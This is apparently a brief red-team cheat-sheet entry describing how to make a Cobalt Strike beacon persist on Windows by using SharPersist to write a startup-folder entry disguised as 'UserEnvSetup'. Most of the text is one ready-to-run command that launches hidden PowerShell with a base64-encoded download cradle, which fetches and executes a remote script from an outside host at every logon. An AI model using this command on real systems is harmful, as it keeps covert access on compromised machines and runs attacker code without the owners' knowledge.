Cobalt Strike persistence via startup folder

Requirements

SharPersist and existing Cobalt Strike beacon required.

Obtain an encoded PowerShell command in the same way as Cobalt Strike persistence via task scheduler.

In a beacon session (replace the encoded command):

execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add

where -f is the filename to save as.
